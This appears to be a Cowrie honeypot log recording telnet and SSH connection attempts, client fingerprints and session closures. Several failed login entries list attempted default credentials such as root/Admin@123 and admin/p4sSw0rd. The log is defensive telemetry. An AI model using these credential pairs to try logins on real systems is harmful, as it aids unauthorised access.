{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":60256,"dst_ip":"159.203.135.109","dst_port":23,"session":"64641fd2070f","protocol":"telnet","message":"New connection: 167.99.38.72:60256 (159.203.135.109:23) [session: 64641fd2070f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:26.388219Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":35632,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c1f48f0350b","protocol":"telnet","message":"New connection: 167.99.38.72:35632 (159.203.135.109:23) [session: 6c1f48f0350b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:31.265241Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":37148,"dst_ip":"159.203.135.109","dst_port":23,"session":"53efe88697ea","protocol":"telnet","message":"New connection: 167.99.38.72:37148 (159.203.135.109:23) [session: 53efe88697ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:33.451688Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:33.711135Z","src_ip":"122.168.114.167","session":"f4e1335e601b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.176257848739624,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:33.923670Z","src_ip":"167.99.38.72","session":"5c03622b6db7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":38112,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1f6b5b7237a","protocol":"telnet","message":"New connection: 167.99.38.72:38112 (159.203.135.109:23) [session: f1f6b5b7237a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:34.848924Z"}
{"eventid":"cowrie.session.closed","duration":34.65220403671265,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:36.507730Z","src_ip":"167.99.38.72","session":"f452ad7f14d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.085557699203491,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:37.182064Z","src_ip":"66.132.195.81","session":"6e7a90148e66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.061071157455444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:38.445683Z","src_ip":"34.69.118.1","session":"1985ef7ddf9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.671276569366455,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:38.571756Z","src_ip":"167.99.38.72","session":"4f4718884c41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"26.7","message":"Connection lost after 26.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:38.875378Z","src_ip":"122.168.114.167","session":"f4e1335e601b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":42076,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa1eb9dbc094","protocol":"telnet","message":"New connection: 167.99.38.72:42076 (159.203.135.109:23) [session: aa1eb9dbc094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:40.825772Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.81","src_port":30826,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1ee54db8e23","protocol":"telnet","message":"New connection: 66.132.195.81:30826 (10.17.0.5:23) [session: b1ee54db8e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:41.121871Z"}
{"eventid":"cowrie.session.closed","duration":35.878517866134644,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:42.225591Z","src_ip":"167.99.38.72","session":"5d70bbf77d36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.823981523513794,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:44.190628Z","src_ip":"167.99.38.72","session":"2eb906b8e737","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.431459903717041,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:44.553240Z","src_ip":"66.132.195.81","session":"b1ee54db8e23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":54726,"dst_ip":"10.17.0.5","dst_port":22,"session":"c37e92ecde4c","protocol":"ssh","message":"New connection: 160.251.101.169:54726 (10.17.0.5:22) [session: c37e92ecde4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:47.425518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:47.430019Z","src_ip":"160.251.101.169","session":"c37e92ecde4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:47.591049Z","src_ip":"160.251.101.169","session":"c37e92ecde4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":46978,"dst_ip":"159.203.135.109","dst_port":23,"session":"d645dc8e384a","protocol":"telnet","message":"New connection: 167.99.38.72:46978 (159.203.135.109:23) [session: d645dc8e384a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:47.731561Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":47064,"dst_ip":"159.203.135.109","dst_port":23,"session":"334b7a0e2183","protocol":"telnet","message":"New connection: 167.99.38.72:47064 (159.203.135.109:23) [session: 334b7a0e2183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:47.849326Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"p4sSw0rd","message":"login attempt [admin/p4sSw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:48.269824Z","src_ip":"160.251.101.169","session":"c37e92ecde4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.741753578186035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:48.440124Z","src_ip":"34.69.118.1","session":"02c6549d5213","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.81","src_port":3472,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4a45c837f0f","protocol":"telnet","message":"New connection: 66.132.195.81:3472 (10.17.0.5:23) [session: e4a45c837f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:48.549778Z"}
{"eventid":"cowrie.session.closed","duration":37.836732149124146,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:49.295171Z","src_ip":"167.99.38.72","session":"5231f38bbd05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:49.438120Z","src_ip":"160.251.101.169","session":"c37e92ecde4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":51454,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddbe90687817","protocol":"ssh","message":"New connection: 122.168.114.167:51454 (159.203.135.109:22) [session: ddbe90687817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:50.799710Z"}
{"eventid":"cowrie.session.closed","duration":36.06145262718201,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:51.809748Z","src_ip":"167.99.38.72","session":"a2a96d14ea65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.61195254325867,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:51.814150Z","src_ip":"167.99.38.72","session":"22e22184dc69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.85173416137695,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:52.580661Z","src_ip":"167.99.38.72","session":"b04094a5dcb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":56636,"dst_ip":"10.17.0.5","dst_port":22,"session":"72cb80b01505","protocol":"ssh","message":"New connection: 190.108.60.101:56636 (10.17.0.5:22) [session: 72cb80b01505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:52.863350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:52.867881Z","src_ip":"190.108.60.101","session":"72cb80b01505","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:53.068061Z","src_ip":"190.108.60.101","session":"72cb80b01505","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wp-user","password":"password","message":"login attempt [wp-user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:53.847672Z","src_ip":"190.108.60.101","session":"72cb80b01505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.67837190628052,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:54.120327Z","src_ip":"167.99.38.72","session":"f80b1ae6135a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.05844759941101,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:54.662024Z","src_ip":"167.99.38.72","session":"c274b2c214b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:55.037853Z","src_ip":"190.108.60.101","session":"72cb80b01505","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:55.219532Z","src_ip":"122.168.114.167","session":"ddbe90687817","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:55.223885Z","src_ip":"122.168.114.167","session":"ddbe90687817","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.67107915878296,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:55.395620Z","src_ip":"167.99.38.72","session":"14b264bc80d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.755656719207764,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:56.086210Z","src_ip":"167.99.38.72","session":"132f37d7d1ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.969982862472534,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:56.379939Z","src_ip":"167.99.38.72","session":"acf5ed326591","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.588770151138306,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:57.344503Z","src_ip":"167.99.38.72","session":"c8a3090ab730","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":39040,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef9150ac788c","protocol":"telnet","message":"New connection: 34.69.118.1:39040 (159.203.135.109:23) [session: ef9150ac788c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:58.411384Z"}
{"eventid":"cowrie.session.closed","duration":33.1102979183197,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:58.493712Z","src_ip":"34.69.118.1","session":"9853d888ecd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.565905809402466,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:33:59.115542Z","src_ip":"66.132.195.81","session":"e4a45c837f0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.66713547706604,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:01.055235Z","src_ip":"167.99.38.72","session":"64641fd2070f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":52606,"dst_ip":"10.17.0.5","dst_port":23,"session":"68719b52d1fc","protocol":"telnet","message":"New connection: 45.10.154.244:52606 (10.17.0.5:23) [session: 68719b52d1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:02.450006Z"}
{"eventid":"cowrie.session.closed","duration":34.482479095458984,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:05.747596Z","src_ip":"167.99.38.72","session":"6c1f48f0350b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":33712,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d26f06116cb","protocol":"telnet","message":"New connection: 167.99.38.72:33712 (159.203.135.109:23) [session: 6d26f06116cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:06.822242Z"}
{"eventid":"cowrie.session.closed","duration":34.12308931350708,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:07.574621Z","src_ip":"167.99.38.72","session":"53efe88697ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.10385584831238,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:08.952653Z","src_ip":"167.99.38.72","session":"f1f6b5b7237a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":36368,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcd6549392db","protocol":"telnet","message":"New connection: 167.99.38.72:36368 (159.203.135.109:23) [session: dcd6549392db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:10.327352Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":60012,"dst_ip":"10.17.0.5","dst_port":23,"session":"8444ed16abd0","protocol":"telnet","message":"New connection: 45.10.154.244:60012 (10.17.0.5:23) [session: 8444ed16abd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:13.129666Z"}
{"eventid":"cowrie.session.closed","duration":34.55108571052551,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:15.376690Z","src_ip":"167.99.38.72","session":"aa1eb9dbc094","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":46318,"dst_ip":"159.203.135.109","dst_port":23,"session":"86ae09bb9aed","protocol":"telnet","message":"New connection: 34.69.118.1:46318 (159.203.135.109:23) [session: 86ae09bb9aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:16.803577Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:17.564957Z","src_ip":"122.168.114.167","session":"ddbe90687817","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":45300,"dst_ip":"10.17.0.5","dst_port":22,"session":"a19107154c46","protocol":"ssh","message":"New connection: 221.139.88.149:45300 (10.17.0.5:22) [session: a19107154c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:20.539021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:20.543878Z","src_ip":"221.139.88.149","session":"a19107154c46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:20.733221Z","src_ip":"221.139.88.149","session":"a19107154c46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":33080,"dst_ip":"159.203.135.109","dst_port":23,"session":"f63e01f1190e","protocol":"telnet","message":"New connection: 34.69.118.1:33080 (159.203.135.109:23) [session: f63e01f1190e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:20.758579Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":52598,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8a235cac2d2","protocol":"ssh","message":"New connection: 113.163.156.190:52598 (159.203.135.109:22) [session: f8a235cac2d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:21.360442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:34:21.365184Z","src_ip":"113.163.156.190","session":"f8a235cac2d2","protocol":"ssh"}
